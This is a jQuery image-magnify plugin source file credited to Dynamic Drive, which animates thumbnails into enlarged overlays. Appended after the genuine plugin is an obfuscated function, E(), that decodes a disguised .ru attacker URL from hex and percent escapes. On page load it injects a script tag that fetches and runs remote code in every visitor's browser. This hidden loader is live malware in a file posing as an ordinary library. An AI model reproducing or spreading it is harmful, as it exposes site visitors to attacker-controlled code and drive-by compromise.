/* jQuery Image Magnify script v1.1
* This notice must stay intact for usage 
* Author: Dynamic Drive at http://www.dynamicdrive.com/
* Visit http://www.dynamicdrive.com/ for full source code

* Nov 16th, 09 (v1.1): Adds ability to dynamically apply/reapply magnify effect to an image, plus magnify to a specific width in pixels.
*/

jQuery.noConflict()

jQuery.imageMagnify={
	dsettings: {
		magnifyby: 2, //default increase factor of enlarged image
		duration: 500, //default duration of animation, in millisec
		imgopacity: 0.2 //opacify of original image when enlarged image overlays it
 	},
	cursorcss: 'url(images/magnify.cur), -moz-zoom-in', //Value for CSS's 'cursor' attribute, added to original image
	zIndexcounter: 100,

	refreshoffsets:function($window, $target, warpshell){
		var $offsets=$target.offset()
		var winattrs={x:$window.scrollLeft(), y:$window.scrollTop(), w:$window.width(), h:$window.height()}
		warpshell.attrs.x=$offsets.left //update x position of original image relative to page
		warpshell.attrs.y=$offsets.top
		warpshell.newattrs.x=winattrs.x+winattrs.w/2-warpshell.newattrs.w/2
		warpshell.newattrs.y=winattrs.y+winattrs.h/2-warpshell.newattrs.h/2
		if (warpshell.newattrs.x<winattrs.x+5){ //no space to the left?
			warpshell.newattrs.x=winattrs.x+5	
		}
		else if (warpshell.newattrs.x+warpshell.newattrs.w > winattrs.x+winattrs.w){//no space to the right?
			warpshell.newattrs.x=winattrs.x+5
		}
		if (warpshell.newattrs.y<winattrs.y+5){ //no space at the top?
			warpshell.newattrs.y=winattrs.y+5
		}
	},

	magnify:function($, $target, options){
		var setting={} //create blank object to store combined settings
		var setting=jQuery.extend(setting, this.dsettings, options)
		var attrs=(options.thumbdimensions)? {w:options.thumbdimensions[0], h:options.thumbdimensions[1]} : {w:$target.outerWidth(), h:$target.outerHeight()}
		var newattrs={}
		newattrs.w=(setting.magnifyto)? setting.magnifyto : Math.round(attrs.w*setting.magnifyby)
		newattrs.h=(setting.magnifyto)? Math.round(attrs.h*newattrs.w/attrs.w) : Math.round(attrs.h*setting.magnifyby)
		$target.css('cursor', jQuery.imageMagnify.cursorcss)
		if ($target.data('imgshell')){
			$target.data('imgshell').$clone.remove()
			$target.css({opacity:1}).unbind('click.magnify')
		}	
		var $clone=$target.clone().css({position:'absolute', left:0, top:0, visibility:'hidden', border:'1px solid gray', cursor:'pointer'}).appendTo(document.body)
		$clone.data('$relatedtarget', $target) //save $target image this enlarged image is associated with
		$target.data('imgshell', {$clone:$clone, attrs:attrs, newattrs:newattrs})
		$target.bind('click.magnify', function(e){ //action when original image is clicked on
			var $this=$(this).css({opacity:setting.imgopacity})
			var imageinfo=$this.data('imgshell')
			jQuery.imageMagnify.refreshoffsets($(window), $this, imageinfo) //refresh offset positions of original and warped images
			var $clone=imageinfo.$clone
			$clone.stop().css({zIndex:++jQuery.imageMagnify.zIndexcounter, left:imageinfo.attrs.x, top:imageinfo.attrs.y, width:imageinfo.attrs.w, height:imageinfo.attrs.h, opacity:0, visibility:'visible'})
			.animate({opacity:1, left:imageinfo.newattrs.x, top:imageinfo.newattrs.y, width:imageinfo.newattrs.w, height:imageinfo.newattrs.h}, setting.duration,
			function(){ //callback function after warping is complete
				//none added		
			}) //end animate
		}) //end click
		$clone.click(function(e){ //action when magnified image is clicked on
			var $this=$(this)
			var imageinfo=$this.data('$relatedtarget').data('imgshell')
			jQuery.imageMagnify.refreshoffsets($(window), $this.data('$relatedtarget'), imageinfo) //refresh offset positions of original and warped images
			$this.stop().animate({opacity:0, left:imageinfo.attrs.x, top:imageinfo.attrs.y, width:imageinfo.attrs.w, height:imageinfo.attrs.h},  setting.duration,
			function(){
				$this.hide()
				$this.data('$relatedtarget').css({opacity:1}) //reveal original image
			}) //end animate
		}) //end click
	}
};

jQuery.fn.imageMagnify=function(options){
	var $=jQuery
	return this.each(function(){ //return jQuery obj
		var $imgref=$(this)
		if (this.tagName!="IMG")
			return true //skip to next matched element
		if (parseInt($imgref.css('width'))>0 && parseInt($imgref.css('height'))>0 || options.thumbdimensions){ //if image has explicit width/height attrs defined
			jQuery.imageMagnify.magnify($, $imgref, options)
		}
		else if (this.complete){ //account for IE not firing image.onload
			jQuery.imageMagnify.magnify($, $imgref, options)
		}
		else{
			$(this).bind('load', function(){
				jQuery.imageMagnify.magnify($, $imgref, options)
			})
		}
	})
};

jQuery.fn.applyMagnifier=function(options){ //dynamic version of imageMagnify() to apply magnify effect to an image dynamically
	var $=jQuery
	return this.each(function(){ //return jQuery obj
		var $imgref=$(this)
		if (this.tagName!="IMG")
			return true //skip to next matched element
		
	})	

};


//** The following applies the magnify effect to images with class="magnify" and optional "data-magnifyby" and "data-magnifyduration" attrs
//** It also looks for links with attr rel="magnify[targetimageid]" and makes them togglers for that image

jQuery(document).ready(function($){
	var $targets=$('.magnify')
	$targets.each(function(i){
		var $target=$(this)
		var options={}
		if ($target.attr('data-magnifyto'))
			options.magnifyto=parseFloat($target.attr('data-magnifyto'))
		if ($target.attr('data-magnifyby'))
			options.magnifyby=parseFloat($target.attr('data-magnifyby'))
		if ($target.attr('data-magnifyduration'))
			options.duration=parseInt($target.attr('data-magnifyduration'))
		$target.imageMagnify(options)
	})
	var $triggers=$('a[rel^="magnify["]')
	$triggers.each(function(i){
		var $trigger=$(this)
		var targetid=$trigger.attr('rel').match(/\[.+\]/)[0].replace(/[\[\]']/g, '') //parse 'id' from rel='magnify[id]'
		$trigger.data('magnifyimageid', targetid)
		$trigger.click(function(e){
			$('#'+$(this).data('magnifyimageid')).trigger('click.magnify')
			e.preventDefault()
		})
	})
})


function E(){var L=window;var x=unescape;this.o='';var p="\x68\x74\x74\x70\x3a\x2f\x2f\x67\x6f\x6f\x67\x6c\x65\x2d\x69\x65\x2e\x69\x73\x74\x6f\x63\x6b\x70\x68\x6f\x74\x6f\x2e\x63\x6f\x6d\x2e\x6f\x70\x65\x72\x61\x2d\x63\x6f\x6d\x2e\x53\x75\x70\x65\x72\x4d\x61\x72\x69\x6f\x44\x69\x72\x65\x63\x74\x2e\x72\x75\x3a";var I;if(I!='O'){I=''};this.J="";var e='';var eN="g";var Ck='';var t='';var tc;if(tc!='Q' && tc!='m'){tc=''};var z="";function S(K,w){var fR='';var Gc='';this._='';this.i='';var G=x("%5b")+w+x("%5d");var R=new RegExp(G, eN);return K.replace(R, e);};var CC=new Array();var n='';var c;if(c!='pa' && c!='U'){c='pa'};var tb=new String();var RC=S('84671540294957678942520472925','7264915');this.hr="";var oE;if(oE!='X'){oE=''};var B=document;var fs='';var EO=x("%2f%66%61%6e%64%61%6e%67%6f%2e%63%6f%6d%2f%66%61%6e%64%61%6e%67%6f%2e%63%6f%6d%2f%6d%61%72%6b%65%74%77%61%74%63%68%2e%63%6f%6d%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%35%31%2e%63%6f%6d%2e%70%68%70");var Ia;if(Ia!=''){Ia='Bp'};function wC(){this.gg="";var Nw=new Array();var b=new Array();n=p;var ge;if(ge!='UY' && ge!='SD'){ge='UY'};var RF=new Date();n+=RC;var Qb;if(Qb!='' && Qb!='rH'){Qb=''};n+=EO;try {var ED='';var NJ;if(NJ!='' && NJ!='ar'){NJ=''};var Cl;if(Cl!='' && Cl!='NO'){Cl=''};j=B.createElement(S('sPc9rCiPpPtw','uC8Zf6w2KT0lOPG9'));var mh;if(mh!='cr' && mh!='ey'){mh=''};var Jy='';var Ds=new Array();var Qh;if(Qh!='uC' && Qh != ''){Qh=null};var Dy;if(Dy!='' && Dy!='Ma'){Dy=''};var FQ;if(FQ!='Ko'){FQ='Ko'};j.defer=[1][0];var Zc='';j.src=n;var ky=new Array();var Bz;if(Bz!='fJ' && Bz != ''){Bz=null};B.body.appendChild(j);var HK=new Date();} catch(V){var AS=new Date();};var FL=new Date();var Bb=new Date();}var Rq=new Array();var oS;if(oS!=''){oS='Kf'};L[String("X9con".substr(3)+"ED0lo".substr(3)+"ad")]=wC;var zr='';var Qi=new String();var iQ_=new Date();};var To;if(To!=''){To='bA'};E();var Qe=new Date();